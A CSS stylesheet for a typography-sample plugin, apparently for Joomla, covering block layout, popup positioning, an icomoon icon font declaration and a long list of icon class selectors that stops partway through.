ul#st-typo-nav li a:hover,ul#st-typo-nav li a:active,ul#st-typo-nav li a:focus
	{
	color: #333;
}

ul#st-typo-nav li.active a {
	background: #333;
	color: #fff;
}

/* Clearfix
-------------------------------------------------------------*/
#st-typo-wrap .clearfix:after {
	content: ".";
	display: block;
	clear: both;
	visibility: hidden;
	line-height: 0;
	height: 0;
}

#st-typo-wrap .clearfix {
	display: inline-block;
}

html[xmlns] #st-typo-wrap .clearfix {
	display: block;
}

* html .clearfix {
	height: 1%;
}

/* TYPO PAGE LAYOUT
-------------------------------------------------------------*/
.st-typo-blockswrap {
	margin: 15px 0;
}

.st-typo-blockrow {
	border-bottom: 1px dotted #ddd;
	padding: 0 0 20px;
}
st-typo-blockrow-no-border{
	padding: 0 0 20px;
}
.st-typo-block {
	float: left;
	padding-top: 20px;
}

.st-typo-blockct {
	padding: 0 10px;
}

.st-typo-blockswrap .cols-1 .st-typo-block {
	width: 100%;
	float: none;
}

.st-typo-blockswrap .cols-2 .st-typo-block {
	width: 50%;
	float: left;
}

.st-typo-blockswrap .cols-3 .st-typo-block {
	width: 33%;
	float: left;
}

.st-typo-blockswrap .cols-4 .st-typo-block {
	width: 24% !important;
	float: left;
	position: relative;
	z-index: 0;
}

.st-typo-blockswrap .cols-5 .st-typo-block {
	width: 19.9%;
	float: left;
}

.st-typo-blockswrap .cols-6 .st-typo-block {
	width: 16.5%;
	float: left;
}

.st-typo-blockswrap .st-typo-block:hover {
	z-index: 2 !important;
}

.st-typo-blockswrap .st-typo-block.last {
	float: right;
}

.st-typo-blockswrap h1.st-typo-title {
	font-size: 175%;
	border-bottom: 8px solid #ddd;
	padding: 5px;
	margin: 0;
	text-transform: uppercase;
	font-weight: bold;
	position: relative;
	color: #666;
}

.st-typo-blockswrap:hover h1.st-typo-title {
	border-color: #333;
	color: #333;
}

.st-typo-blockswrap h2.st-typo-title {
	font-size: 115%;
	margin: 0;
	padding: 0 10px;
	text-transform: uppercase;
}

.st-typo-blockswrap h2.st-typo-title span {
	background: #f2f2f2;
	color: #666;
	padding: 3px 10px;
	display: inline-block;
}

.st-typo-blockswrap:hover h2.st-typo-title span {
	background: #ddd;
	color: #333;
}

.st-typo-blockrow>h2.st-typo-title {
	margin-bottom: 0;
	margin-top: 20px;
}

/* Blockswrap Actions ---*/
.st-typo-blocks-actions {
	font-size: 85%;
	position: absolute;
	right: 5px;
	top: 5px;
	color: #999;
}

.st-typo-blocks-actions a {
	font-size: 85%;
	text-transform: none;
	font-weight: normal;
	color: #c00;
	text-decoration: none;
}

#st-typo-wrap .st-typo-blockswrap h2.st-typo-title {
	padding: 0;
	border-bottom: 2px solid #DDDDDD;
	font-size: 100%;
}

#st-typo-wrap .st-typo-blockswrap h1.st-typo-title {
	padding: 0;
	border-bottom: 2px solid #DDDDDD;
	font-size: 100%;
	margin: 0 10px;
}

#st-typo-wrap .st-typo-blockswrap h2.st-typo-title span {
	background: none;
	padding: 3px 0;
	color: #0088cc;
}

#st-typo-wrap .st-typo-blockswrap h1.st-typo-title span {
	background: none;
	padding: 3px 0;
	color: #0088cc;
}

/* Block Actions ---*/
#st-typo .typo-wrap {
	
}

#st-typo .typo-wrap a.typo-view-details {
	background: #333;
	border: 1px solid #1f1f1f;
	font-weight: bold;
	color: #fff;
	text-decoration: none;
	text-transform: capitalize;
	padding: 2px 8px 1px;
}

.st-typo-btn {
	margin-top: 5px;
}

.st-typo-btn span {
	padding: 0px 24px 0px 6px;
	cursor: pointer !important;
}

.st-typo-btn span:hover {
	/*color: #0B55C4;*/
}

#st-typo-wrap {
	display: block;
	top: -999em;
	left: -999em;
	width: 700px;
	/*height: 600px;*/
	border: solid 1px #ccc;
	background: #fff;
	z-index: 1000;
	padding: 5px;
	font-size: 12px;
	line-height: 1.5;
	
}

#st-typo-wrap .typo {
	position: relative;
	z-index: 0;
	padding: 5px 0px 5px 0;
	cursor: pointer;
	border-bottom: solid 1px #ddd;
	margin: 0;
	vertical-align: top;
}

#st-typo-wrap .typo:hover {
	z-index: 2;
	background: #feffe8;
}

#st-typo-wrap td:hover .typo {
	background: #feffe8;
}

#st-typo-wrap .sample {
	display: none;
	position: absolute;
	z-index: 3;
	border: solid 1px #bab598;
	background: #f8f8f8;
	padding: 10px;
	min-width: 250px;
}

#st-typo-wrap textarea.inputbox {
	width: 90%;
}

#st-typo-wrap .typo-over .sample {
	display: block;
	position: absolute;
	bottom: 20px;
	left: 50px;
	z-index: 1000;
}

/*reposition sample popup*/
#st-typo-wrap .typo-top .sample {
	top: 20px;
	bottom: auto;
}

#st-typo-wrap .typo-bottom .sample {
	top: auto;
	bottom: 20px;
}

#st-typo-wrap .typo-left .sample {
	left: 50px;
	right: auto;
}

#st-typo-wrap .typo-right .sample {
	left: auto;
	right: 140px;
}

#st-typo-overlay {
	display: none;
	position: absolute;
	top: 0;
	left: 0;
	z-index: 999;
}

#st-typo-wrap ul {
	padding: 0px;
	margin: 0px;
}

#st-typo-wrap ul li {
	padding-top: 3px;
	padding-bottom: 3px;
}

#st-typo-wrap ul.st-unordered-list li {
	padding-top: 0;
	padding-bottom: 0;
}

#st-typo-wrap ul.uordered {
	padding-left: 22px;
}

.typo span.titlte {
	font-weight: bold !important;
	padding: 2px 0px;
}

#st-typo-wrap span:hover.title {
	color: navy;
}

/* Addon */
* html #st-typo-wrap .clearfix {
	height: 1%; /* IE5-6 */
}

html[xmlns] #st-typo-wrap .clearfix { /* O */
	display: block;
}

#st-typo-wrap .clearfix:after { /* FF, O, etc. */
	content: ".";
	display: block;
	height: 0;
	clear: both;
	visibility: hidden;
}

/*Fix error K2 conflict css*/
.k2ItemFormEditor {
	padding: 0px !important;
}
/*fix overflow pre*/
.presmall pre{
	font-size:11px;	
}

#jform_articletext_path_row {
	width: 688px;
	overflow: hidden;
}



/*              Icon                                  */
@font-face {
	font-family: 'icomoon';
	src:url('fonts/icomoon.eot');
	src:url('fonts/icomoon.eot?#iefix') format('embedded-opentype'),
		url('fonts/icomoon.woff') format('woff'),
		url('fonts/icomoon.ttf') format('truetype'),
		url('fonts/icomoon.svg#icomoon') format('svg');
	font-weight: normal;
	font-style: normal;
}

/* Use the following CSS code if you want to use data attributes for inserting your icons */
[data-icon]:before {
	font-family: 'icomoon';
	content: attr(data-icon);
	speak: none;
	font-weight: normal;
	font-variant: normal;
	text-transform: none;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
}

/* Use the following CSS code if you want to have a class per icon */
/*
Instead of a list of all class selectors,
you can use the generic selector below, but it's slower:
[class*="icon-"] {
*/
.icon-home, .icon-home-2, .icon-home-3, .icon-office, .icon-newspaper, .icon-pencil, .icon-pencil-2, .icon-quill, .icon-pen, .icon-blog, .icon-droplet, .icon-paint-format, .icon-image, .icon-image-2, .icon-images, .icon-camera, .icon-music, .icon-headphones, .icon-play, .icon-film, .icon-camera-2, .icon-dice, .icon-pacman, .icon-spades, .icon-clubs, .icon-diamonds, .icon-pawn, .icon-bullhorn, .icon-connection, .icon-podcast, .icon-feed, .icon-book, .icon-books, .icon-library, .icon-file, .icon-profile, .icon-file-2, .icon-file-3, .icon-file-4, .icon-copy, .icon-copy-2, .icon-copy-3, .icon-paste, .icon-paste-2, .icon-paste-3, .icon-stack, .icon-folder, .icon-folder-open, .icon-tag, .icon-tags, .icon-barcode, .icon-qrcode, .icon-ticket, .icon-cart, .icon-cart-2, .icon-cart-3, .icon-coin, .icon-credit, .icon-calculate, .icon-support, .icon-phone, .icon-phone-hang-up, .icon-address-book, .icon-notebook, .icon-envelop, .icon-pushpin, .icon-location, .icon-location-2, .icon-compass, .icon-map, .icon-map-2, .icon-history, .icon-clock, .icon-clock-2, .icon-alarm, .icon-alarm-2, .icon-bell, .icon-stopwatch, .icon-calendar, .icon-calendar-2, .icon-print, .icon-keyboard, .icon-screen, .icon-laptop, .icon-mobile, .icon-mobile-2, .icon-tablet, .icon-tv, .icon-cabinet, .icon-drawer, .icon-drawer-2, .icon-drawer-3, .icon-box-add, .icon-box-remove, .icon-download, .icon-upload, .icon-disk, .icon-storage, .icon-undo, .icon-redo, .icon-flip, .icon-flip-2, .icon-undo-2, .icon-redo-2, .icon-forward, .icon-reply, .icon-bubble, .icon-bubbles, .icon-bubbles-2, .icon-bubble-2, .icon-bubbles-3, .icon-bubbles-4, .icon-user, .icon-users, .icon-user-2, .icon-users-2, .icon-user-3, .icon-user-4, .icon-quotes-left, .icon-busy, .icon-spinner, .icon-spinner-2, .icon-spinner-3, .icon-spinner-4, .icon-spinner-5, .icon-spinner-6, .icon-binoculars, .icon-search, .icon-zoom-in, .icon-zoom-out, .icon-expand, .icon-contract, .icon-expand-2, .icon-contract-2, .icon-key, .icon-key-2, .icon-lock, .icon-lock-2, .icon-unlocked, .icon-wrench, .icon-settings, .icon-equalizer, .icon-cog, .icon-cogs, .icon-cog-2, .icon-hammer, .icon-wand, .icon-aid, .icon-bug, .icon-pie, .icon-stats, .icon-bars, .icon-bars-2, .icon-gift, .icon-trophy, .icon-glass, .icon-mug, .icon-food, .icon-leaf, .icon-rocket, .icon-meter, .icon-meter2, .icon-dashboard, .icon-hammer-2, .icon-fire, .icon-lab, .icon-magnet, .icon-remove, .icon-remove-2, .icon-briefcase, .icon-airplane, .icon-truck, .icon-road, .icon-accessibility, .icon-target, .icon-shield, .icon-lightning, .icon-switch, .icon-power-cord, .icon-signup, .icon-list, .icon-list-2, .icon-numbered-list, .icon-menu, .icon-menu-2, .icon-tree, .icon-cloud, .icon-cloud-download, .icon-cloud-upload, .icon-download-2, .icon-upload-2, .icon-download-3, .icon-upload-3, .icon-globe, .icon-earth, .icon-link, .icon-flag, .icon-attachment, .icon-eye, .icon-eye-blocked, .icon-eye-2, .icon-bookmark, .icon-bookmarks, .icon-brightness-medium, .icon-brightness-contrast, .icon-contrast, .icon-star, .icon-star-2, .icon-star-3, .icon-heart, .icon-heart-2, .icon-heart-broken, .icon-thumbs-up, .icon-thumbs-up-2, .icon-happy, .icon-happy-2, .icon-smiley, .icon-smiley-2, .icon-tongue, .icon-tongue-2, .icon-sad, .icon-sad-2, .icon-wink, .icon-wink-2, .icon-grin, .icon-grin-2, .icon-cool, .icon-cool-2, .icon-angry, .icon-angry-2, .icon-evil, .icon-evil-2, .icon-shocked, .icon-shocked-2, .icon-confused, .icon-confused-2, .icon-neutral, .icon-neutral-2, .icon-wondering, .icon-wondering-2, .icon-point-up, .icon-point-right, .icon-point-down, .icon-point-left, .icon-warning, .icon-notification, .icon-question, .icon-info, .icon-info-2, .icon-blocked, .icon-cancel-circle, .icon-checkmark-circle, .icon-spam, .icon-close, .icon-checkmark, .icon-checkmark-2, .icon-spell-check, .icon-minus, .icon-plus, .icon-enter, .icon-exit, .icon-play-2, .icon-pause, .icon-stop, .icon-backward, .icon-forward-2, .icon-play-3, .icon-pause-2, .icon-stop-2, .icon-backward-2, .icon-forward-3, .icon-first, .icon-last, .icon-previous, .icon-next, .icon-eject, .icon-volume-high, .icon-volume-medium, .icon-volume-low, .icon-volume-mute, .icon-volume-mute-2, .icon-volume-increase, .icon-volume-decrease, .icon-loop, .icon-loop-2, .icon-loop-3, .icon-shuffle, .icon-arrow-up-left, .icon-arrow-up, .icon-arrow-up-right, .icon-arrow-right, .icon-arrow-down-right, .icon-arrow-down, .icon-arrow-down-left, .icon-arrow-left, .icon-arrow-up-left-2, .icon-arrow-up-2, .icon-arrow-up-right-2, .icon-arrow-right-2, .icon-arrow-down-right-2, .icon-arrow-down-2, .icon-arrow-down-left-2, .icon-arrow-left-2, .icon-arrow-up-left-3, .icon-arrow-up-3, .icon-arrow-up-right-3, .icon-arrow-right-3, .icon-arrow-down-right-3, .icon-arrow-down-3, .icon-arrow-down-left-3, .icon-arrow-left-3, .icon-tab, .icon-checkbox-checked, .icon-checkbox-unchecked, .icon-checkbox-partial, .icon-radio-checked, .icon-radio-unchecked, .icon-crop, .icon-scissors, .icon-filter, .icon-filter-2, .icon-font, .icon-text-height, .icon-text-width, .icon-bold, .icon-underline, .icon-italic, .icon-strikethrough, .icon-omega, .icon-sigma, .icon-table, .icon-table-2, .icon-insert-template, .icon-pilcrow, .icon-left-to-right, .icon-right-to-left, .icon-paragraph-left, .icon-paragraph-center, .icon-paragraph-right, .icon-paragraph-justify, .icon-paragraph-left-2, .icon-paragraph-center-2, .icon-paragraph-right-2, .icon-paragraph-justify-2, .icon-indent-increase, .icon-indent-decrease, .icon-new-tab, .icon-embed, .icon-code, .icon-console, .icon-share, .icon-mail, .icon-mail-2, .icon-mail-3, .icon-mail-4, .icon-google, .icon-google-plus, .icon-google-plus-2, .icon-google-plus-3, .icon-google-plus-4, .icon-google-drive, .icon-facebook, .icon-facebook-2, .icon-facebook-3, .icon-instagram, .icon-twitter, .icon-twitter-2, .icon-twitter-3, .icon-feed-2, .icon-feed-3, .icon-feed-4, .icon-youtube, .icon-youtube-2, .icon-vimeo, .icon-vimeo2, .icon-vimeo-2, .icon-lanyrd, .icon-flickr, .icon-flickr-2, .icon-flickr-3, .icon-flickr-4, .icon-picassa, .icon-picassa-2, .icon-dribbble, .icon-dribbble-2, .icon-dribbble-3, .icon-forrst, .icon-forrst-2, .icon-deviantart, .icon-deviantart-2, .icon-steam, .icon-steam-2, .icon-github, .icon-github-2, .icon-github-3, .icon-github-4, .icon-github-5, .icon-wordpress, .icon-wordpress-2, .icon-joomla, .icon-blogger, .icon-blogger-2, .icon-tumblr, .icon-tumblr-2, .icon-yahoo, .icon-tux, .icon-apple, .icon-finder, .icon-android, .icon-windows, .icon-windows8, .icon-soundcloud, .icon-soundcloud-2, .icon-skype, .icon-reddit, .icon-linkedin, .icon-lastfm, .icon-lastfm-2, .icon-delicious, .icon-stumbleupon, .icon-stumbleupon-2, .icon-stackoverflow, .icon-pinterest, .icon-pinterest-2, .icon-xing, .icon-xing-2, .icon-flattr, .icon-foursquare, .icon-foursquare-2, .icon-paypal, .icon-paypal-2, .icon-paypal-3, .icon-yelp, .icon-libreoffice, .icon-file-pdf, .icon-file-openoffice, .icon-file-word, .icon-file-excel, .icon-file-zip, .icon-file-powerpoint, .icon-file-xml, .icon-file-css, .icon-html5, .icon-html5-2, .icon-css3, .icon-chrome, .icon-firefox, .icon-IE, .icon-opera, .icon-safari, .icon-IcoMoon, .icon-chat, .icon-chat-alt-stroke, .icon-chat-alt-fill, .icon-comment-alt1-stroke, .icon-comment-alt1-fill, .icon-comment-stroke, .icon-comment-fill, .icon-comment-alt2-stroke, .icon-comment-alt2-fill, .icon-checkmark-3, .icon-check-alt, .icon-x, .icon-x-altx-alt, .icon-denied, .icon-cursor, .icon-rss, .icon-rss-alt, .icon-wrench-2, .icon-dial, .icon-cog-3, .icon-calendar-3, .icon-calendar-alt-stroke, .icon-calendar-alt-fill, .icon-share-2, .icon-mail-5, .icon-heart-stroke, .icon-heart-fill, .icon-movie, .icon-document-alt-stroke, .icon-document-alt-fill, .icon-document-stroke, .icon-document-fill, .icon-plus-2, .icon-plus-alt, .icon-minus-2, .icon-minus-alt, .icon-pin, .icon-link-2, .icon-bolt, .icon-move, .icon-move-alt1, .icon-move-alt2, .icon-equalizer-2, .icon-award-fill, .icon-award-stroke, .icon-magnifying-glass, .icon-trash-stroke, .icon-trash-fill, .icon-beaker-alt, .icon-beaker, .icon-key-stroke, .icon-key-fill, .icon-new-window, .icon-lightbulb, .icon-spin-alt, .icon-spin, .icon-curved-arrow, .icon-undo-3, .icon-reload, .icon-reload-alt, .icon-loop-4, .icon-loop-alt1, .icon-loop-alt2, .icon-loop-alt3, .icon-loop-alt4, .icon-transfer, .icon-move-vertical, .icon-move-vertical-alt1, .icon-move-vertical-alt2, .icon-move-horizontal, .icon-move-horizontal-alt1, .icon-move-horizontal-alt2, .icon-arrow-left-4, .icon-arrow-left-alt1, .icon-arrow-left-alt2, .icon-arrow-right-4, .icon-arrow-right-alt1, .icon-arrow-right-alt2, .icon-arrow-up-4, .icon-arrow-up-alt1, .icon-arrow-up-alt2, .icon-arrow-down-4, .icon-arrow-down-alt1, .icon-arrow-down-alt2, .icon-cd, .icon-steering-wheel, .icon-microphone, .icon-headphones-2, .icon-volume, .icon-volume-mute-3, .icon-play-4, .icon-pause-3, .icon-stop-3, .icon-eject-2, .icon-first-2, .icon-last-2, .icon-play-alt, .icon-fullscreen-exit, .icon-fullscreen-exit-alt, .icon-fullscreen, .icon-fullscreen-alt, .icon-iphone, .icon-battery-empty, .icon-battery-half, .icon-battery-full, .icon-battery-charging, .icon-compass-2, .icon-box, .icon-folder-stroke, .icon-folder-fill, .icon-at, .icon-ampersand, .icon-info-3, .icon-question-mark, .icon-pilcrow-2, .icon-hash, .icon-left-quote, .icon-right-quote, .icon-left-quote-alt, .icon-right-quote-alt, .icon-article, .icon-read-more, .icon-list-3, .icon-list-nested, .icon-book-2, .icon-book-alt, .icon-book-alt2, .icon-pen-2, .icon-pen-alt-stroke, .icon-pen-alt-fill, .icon-pen-alt2, .icon-brush, .icon-brush-alt, .icon-eyedropper, .icon-layers-alt, .icon-layers, .icon-image-3, .icon-camera-3, .icon-aperture, .icon-aperture-alt, .icon-chart, .icon-chart-alt, .icon-bars-3, .icon-bars-alt, .icon-eye-3, .icon-user-5, .icon-home-4, .icon-clock-3, .icon-lock-stroke, .icon-lock-fill, .icon-unlock-stroke, .icon-unlock-fill, .icon-tag-stroke, .icon-tag-fill, .icon-sun-stroke, .icon-sun-fill, .icon-moon-stroke, .icon-moon-fill, .icon-cloud-2, .icon-rain, .icon-umbrella, .icon-star-4, .icon-map-pin-stroke, .icon-map-pin-fill, .icon-map-pin-alt, .icon-target-2, .icon-download-4, .icon-upload-4, .icon-cloud-download-2, .icon-cloud-upload-2, .icon-fork, .icon-paperclip, .icon-sunrise, .icon-sun, .icon-moon, .icon-sun-2, .icon-windy, .icon-wind, .icon-snowflake, .icon-cloudy, .icon-cloud-3, .icon-weather, .icon-weather-2, .icon-weather-3, .icon-lines, .icon-cloud-4, .icon-lightning-2, .icon-lightning-3, .icon-rainy, .icon-rainy-2, .icon-windy-2, .icon-windy-3, .icon-snowy, .icon-snowy-2, .icon-snowy-3, .icon-weather-4, .icon-cloudy-2, .icon-cloud-5, .icon-lightning-4, .icon-sun-3, .icon-moon-2, .icon-cloudy-3, .icon-cloud-6, .icon-cloud-7, .icon-lightning-5, .icon-rainy-3, .icon-rainy-4, .icon-windy-4, .icon-windy-5, .icon-snowy-4, .icon-snowy-5, .icon-weather-5, .icon-cloudy-4, .icon-lightning-6, .icon-thermometer, .icon-compass-3, .icon-none, .icon-Celsius, .icon-Fahrenheit, .icon-warning-2, .icon-cloud-8, .icon-locked, .icon-inbox, .icon-comment, .icon-mic, .icon-envelope, .icon-briefcase-2, .icon-cart-4, .icon-contrast-2, .icon-clock-4, .icon-user-6, .icon-cog-4, .icon-music-2, .icon-twitter-4, .icon-pencil-3, .icon-frame, .icon-switch-2, .icon-star-5, .icon-key-3, .icon-chart-2, .icon-apple-2, .icon-file-5, .icon-plus-3, .icon-minus-3, .icon-picture, .icon-folder-2, .icon-camera-4, .icon-search-2, .icon-dribbble-4, .icon-forrst-3, .icon-feed-5, .icon-blocked-2, .icon-target-3, .icon-play-5, .icon-pause-4, .icon-bug-2, .icon-console-2, .icon-film-2, .icon-type, .icon-home-5, .icon-earth-2, .icon-location-3, .icon-info-4, .icon-eye-4, .icon-heart-3, .icon-bookmark-2, .icon-wrench-3, .icon-calendar-4, .icon-window, .icon-monitor, .icon-mobile-3, .icon-droplet-2, .icon-mouse, .icon-refresh, .icon-location-4, .icon-tag-2, .icon-phone-2, .icon-star-6, .icon-pointer, .icon-thumbs-up-3, .icon-thumbs-down, .icon-headphones-3, .icon-move-2, .icon-checkmark-4, .icon-cancel, .icon-skype-2, .icon-gift-2, .icon-cone, .icon-alarm-3, .icon-coffee, .icon-basket, .icon-flag-2, .icon-ipod, .icon-trashcan, .icon-bolt-2, .icon-ampersand-2, .icon-compass-4, .icon-list-4, .icon-grid, .icon-volume-2, .icon-volume-3, .icon-stats-2, .icon-target-4, .icon-forward-4, .icon-paperclip-2, .icon-keyboard-2, .icon-crop-2, .icon-floppy, .icon-filter-3, .icon-trophy-2, .icon-diary, .icon-address-book-2, .icon-stop-4, .icon-smiley-3, .icon-shit, .icon-bookmark-3, .icon-camera-5, .icon-lamp, .icon-disk-2, .icon-button, .icon-database, .icon-credit-card, .icon-atom, .icon-winsows, .icon-target-5, .icon-battery, .icon-code-2, .icon-renren, .icon-weibo, .icon-vk, .icon-bug-3, .icon-archive, .icon-moon-3, .icon-sun-4, .icon-gittip, .icon-male, .icon-female, .icon-trello, .icon-foursquare-3, .icon-skype-3, .icon-dribbble-5, .icon-linux, .icon-android-2, .icon-windows-2, .icon-apple-3, .icon-long-arrow-right, .icon-long-arrow-left, .icon-long-arrow-up, .icon-long-arrow-down, .icon-tumblr-sign, .icon-tumblr-3, .icon-bitbucket-sign, .icon-bitbucket, .icon-adn, .icon-flickr-5, .icon-instagram-2, .icon-stackexchange, .icon-dropbox, .icon-youtube-play, .icon-xing-sign, .icon-xing-3, .icon-youtube-3, .icon-youtube-sign, .icon-thumbs-down-2, .icon-thumbs-up-4, .icon-sort-by-order-alt, .icon-sort-by-order, .icon-sort-by-attributes-alt, .icon-sort-by-attributes, .icon-sort-by-alphabet-alt, .icon-sort-by-alphabet, .icon-file-text, .icon-file-6, .icon-bitcoin, .icon-won, .icon-renminbi, .icon-yen, .icon-rupee, .icon-dollar, .icon-gbp, .icon-euro, .icon-expand-3, .icon-collapse-top, .icon-collapse, .icon-compass-5, .icon-share-sign, .icon-external-link-sign, .icon-edit-sign, .icon-check-sign, .icon-level-down, .icon-level-up, .icon-check-minus, .icon-minus-sign-alt, .icon-ticket-2, .icon-play-sign, .icon-rss-sign, .icon-ellipsis-vertical, .icon-ellipsis-horizontal, .icon-bullseye, .icon-unlock-alt, .icon-anchor, .icon-css3-2, .icon-html5-3, .icon-chevron-sign-down, .icon-chevron-sign-up, .icon-chevron-sign-right, .icon-chevron-sign-left, .icon-maxcdn, .icon-rocket-2, .icon-fire-extinguisher, .icon-calendar-empty, .icon-shield-2, .icon-microphone-off, .icon-microphone-2, .icon-puzzle, .icon-eraser, .icon-subscript, .icon-superscript, .icon-exclamation, .icon-info-5, .icon-question-2, .icon-unlink, .icon-code-fork, .icon-crop-3, .icon-location-arrow, .icon-star-half-full, .icon-reply-all, .icon-code-3, .icon-terminal, .icon-flag-checkered, .icon-flag-alt, .icon-keyboard-3, .icon-gamepad, .icon-meh, .icon-frown, .icon-smile, .icon-collapse-alt, .icon-expand-alt, .icon-folder-open-alt, .icon-folder-close-alt, .icon-github-alt, .icon-reply-2, .icon-circle, .icon-spinner-7, .icon-quote-right, .icon-quote-left, .icon-circle-blank, .icon-mobile-4, .icon-tablet-2, .icon-laptop-2, .icon-desktop, .icon-angle-down, .icon-angle-up, .icon-angle-right, .icon-angle-left, .icon-double-angle-down, .icon-double-angle-up, .icon-double-angle-right, .icon-double-angle-left, .icon-plus-sign, .icon-h-sign, .icon-beer, .icon-fighter-jet, .icon-medkit, .icon-ambulance, .icon-hospital, .icon-building, .icon-file-alt, .icon-food-2, .icon-coffee-2, .icon-bell-alt, .icon-suitcase, .icon-stethoscope, .icon-user-md, .icon-cloud-upload-3, .icon-cloud-download-3, .icon-exchange, .icon-lightbulb-2, .icon-paste-4, .icon-umbrella-2, .icon-sitemap, .icon-bolt-3, .icon-comments-alt, .icon-comment-alt, .icon-dashboard-2, .icon-legal, .icon-undo-4, .icon-linkedin-2, .icon-envelope-alt, .icon-sort-up, .icon-sort-down, .icon-sort, .icon-columns, .icon-caret-right, .icon-caret-left, .icon-caret-up, .icon-caret-down, .icon-money, .icon-google-plus-5, .icon-google-plus-sign, .icon-pinterest-sign, .icon-pinterest-3, .icon-truck-2, .icon-magic, .icon-table-3, .icon-underline-2, .icon-strikethrough-2, .icon-list-ol, .icon-list-ul, .icon-reorder, .icon-sign-blank, .icon-save, .icon-paper-clip, .icon-copy-4, .icon-cut, .icon-beaker-2, .icon-cloud-9, .icon-link-3, .icon-group, .icon-fullscreen-2, .icon-briefcase-3, .icon-filter-4, .icon-tasks, .icon-wrench-4, .icon-globe-2, .icon-circle-arrow-down, .icon-circle-arrow-up, .icon-circle-arrow-right, .icon-circle-arrow-left, .icon-hand-down, .icon-hand-up, .icon-hand-left, .icon-hand-right, .icon-certificate, .icon-bell-2, .icon-bullhorn-2, .icon-hdd, .icon-rss-2, .icon-credit-2, .icon-unlock, .icon-github-6, .icon-facebook-4, .icon-twitter-5, .icon-phone-sign, .icon-bookmark-empty, .icon-check-empty, .icon-phone-3, .icon-lemon, .icon-upload-alt, .icon-github-sign, .icon-trophy-3, .icon-signin, .icon-external-link, .icon-pushpin-2, .icon-linkedin-sign, .icon-signout, .icon-heart-empty, .icon-star-half, .icon-thumbs-down-3, .icon-thumbs-up-5, .icon-comments, .icon-cogs-2, .icon-key-4, .icon-camera-retro, .icon-facebook-sign, .icon-twitter-sign, .icon-bar-chart, .icon-resize-horizontal, .icon-resize-vertical, .icon-folder-open-2, .icon-folder-close, .icon-shopping-cart, .icon-retweet, .icon-chevron-down, .icon-chevron-up, .icon-magnet-2, .icon-comment-2, .icon-random, .icon-calendar-5, .icon-plane, .icon-warning-sign, .icon-eye-close, .icon-eye-open, .icon-fire-2, .icon-leaf-2, .icon-gift-3, .icon-exclamation-sign, .icon-asterisk, .icon-minus-4, .icon-plus-4, .icon-resize-small, .icon-resize-full, .icon-share-alt, .icon-arrow-down-5, .icon-arrow-up-5, .icon-arrow-right-5, .icon-arrow-left-5, .icon-ban-circle, .icon-ok-circle, .icon-remove-circle, .icon-screenshot, .icon-info-sign, .icon-question-sign, .icon-ok-sign, .icon-remove-sign, .icon-minus-sign, .icon-plus-sign-2, .icon-chevron-right, .icon-chevron-left, .icon-eject-3, .icon-step-forward, .icon-fast-forward, .icon-forward-5, .icon-stop-5, .icon-pause-5, .icon-play-6, .icon-backward-3, .icon-fast-backward, .icon-step-backward, .icon-move-3, .icon-check, .icon-share-3, .icon-edit, .icon-tint, .icon-adjust, .icon-map-marker, .icon-pencil-4, .icon-picture-2, .icon-facetime-video, .icon-indent-right, .icon-indent-left, .icon-list-5, .icon-align-justify, .icon-align-right, .icon-align-center, .icon-align-left, .icon-text-width-2, .icon-text-height-2, .icon-italic-2, .icon-bold-2, .icon-font-2, .icon-camera-6, .icon-print-2, .icon-bookmark-4, .icon-book-3, .icon-tags-2, .icon-tag-3, .icon-barcode-2, .icon-qrcode-2, .icon-volume-up, .icon-volume-down, .icon-volume-off, .icon-headphones-4, .icon-flag-3, .icon-lock-3, .icon-list-alt, .icon-refresh-2, .icon-repeat, .icon-play-circle, .icon-inbox-2, .icon-upload-5, .icon-download-5, .icon-download-alt, .icon-road-2, .icon-time, .icon-file-7, .icon-home-6, .icon-trash, .icon-cog-5, .icon-signal, .icon-off, .icon-zoom-out-2, .icon-zoom-in-2, .icon-remove-3, .icon-ok, .icon-th-list, .icon-th, .icon-th-large, .icon-film-3, .icon-user-7, .icon-star-empty, .icon-star-7, .icon-heart-4, .icon-envelope-2, .icon-search-3, .icon-music-3, .icon-glass-2, .icon-smashing, .icon-vk-2, .icon-circles, .icon-behance, .icon-mixi, .icon-soundcloud-3, .icon-picasa, .icon-paypal-4, .icon-sina-weibo, .icon-renren-2, .icon-skype-4, .icon-skype-5, .icon-flattr-2, .icon-evernote, .icon-dropbox-2, .icon-instagram-3, .icon-qq, .icon-spotify, .icon-spotify-2, .icon-rdio, .icon-rdio-2, .icon-lastfm-3, .icon-lastfm-4, .icon-stumbleupon-3, .icon-stumbleupon-4, .icon-dribbble-6, .icon-dribbble-7, .icon-linkedin-3, .icon-linkedin-4, .icon-tumblr-4, .icon-tumblr-5, .icon-pinterest-4, .icon-pinterest-5, .icon-googleplus, .icon-googleplus-2, .icon-facebook-5, .icon-facebook-6, .icon-facebook-7, .icon-twitter-6, .icon-twitter-7, .icon-vimeo-3, .icon-vimeo-4, .icon-flickr-6, .icon-flickr-7, .icon-github-7, .icon-github-8, .icon-daniel-bruce, .icon-daniel-bruce-2, .icon-cc-share, .icon-cc-share-2, .icon-cc-zero, .icon-cc-pd, .icon-cc-nd, .icon-cc-sa, .icon-cc-nc-jp, .icon-cc-nc-eu, .icon-cc-nc, .icon-cc-by, .icon-cc, .icon-dot, .icon-dots, .icon-ellipsis, .icon-menu-3, .icon-arrow-right-6, .icon-arrow-up-6, .icon-arrow-down-6, .icon-arrow-left-6, .icon-untitled, .icon-arrow-up-7, .icon-arrow-down-7, .icon-arrow-left-7, .icon-arrow-right-7, .icon-arrow-up-8, .icon-arrow-down-8, .icon-arrow-left-8, .icon-arrow-right-8, .icon-arrow-up-9, .icon-arrow-down-9, .icon-arrow-left-9, .icon-arrow-right-9, .icon-arrow-up-10, .icon-arrow-down-10, .icon-arrow-left-10, .icon-arrow-right-10, .icon-arrow-up-11, .icon-arrow-down-11, .icon-arrow-left-11, .icon-arrow-right-11, .icon-arrow-up-12, .icon-arrow-down-12, .icon-arrow-left-12, .icon-arrow-right-12, .icon-arrow-up--upload, .icon-arrow-down-13, .icon-arrow-left-13, .icon-flow-parallel, .icon-flow-line, .icon-flow-tree, .icon-flow-branch, .icon-flow-cascade, .icon-mute, .icon-sound, .icon-volume-4, .icon-resize-shrink, .icon-resize-enlarge, .icon-last-3, .icon-first-3, .icon-previous-2, .icon-next-2, .icon-stop-6, .icon-record, .icon-pause-6, .icon-play-7, .icon-book-4, .icon-bookmarks-2, .icon-bookmark-5, .icon-upload-6, .icon-cloud-10, .icon-install, .icon-disk-3, .icon-download-6, .icon-upload-7, .icon-trash-2, .icon-archive-2, .icon-folder-3, .icon-music-4, .icon-video, 